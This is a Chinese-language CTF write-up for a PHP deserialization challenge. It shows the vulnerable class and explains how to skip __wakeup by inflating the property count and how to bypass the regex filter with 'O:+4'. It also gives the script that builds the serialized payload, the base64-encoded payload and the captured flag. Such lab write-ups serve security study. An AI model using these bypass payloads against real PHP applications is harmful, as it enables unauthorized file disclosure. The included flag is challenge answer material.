<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() { //反序列化 了解序列化与反序列化点击[这里](https://www.cnblogs.com/youyoui/p/8610068.html)
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
首先查询了其中的一些函数
__construct() 函数创建一个新的 SimpleXMLElement 对象。如果成功,则该函数返回一个对象。如果失败,则返回 false。
__destruct() 析构函数。
highlight_file() 函数对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。
preg_match() 函数
base64_decode()(解密函数)
这里有两个绕过,一个是preg_match() 函数绕过,一个是__wakeup()函数绕过。
__wakeup失效
当序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup()的执行
例:
O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;}
O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}
使用+绕过正则
例:
preg_match(’/[oc]:\d+:/i’, $var)
O:4:“Demo”:1:{s:10:“Demofile”;s:16:“f15g_1s_here.php”;}
O:+4:“Demo”:1:{s:10:“Demofile”;s:16:“f15g_1s_here.php”;}
下面就是代码了
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$A = new Demo('fl4g.php');
echo serialize($A);
//得到 "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
//绕过__wakeup() "O:4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
//绕过preg_match() "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
//将得到的字符串进行base64加密 "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>
可以直接在此运行看效果,点击这里
得到flag
$flag="ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}";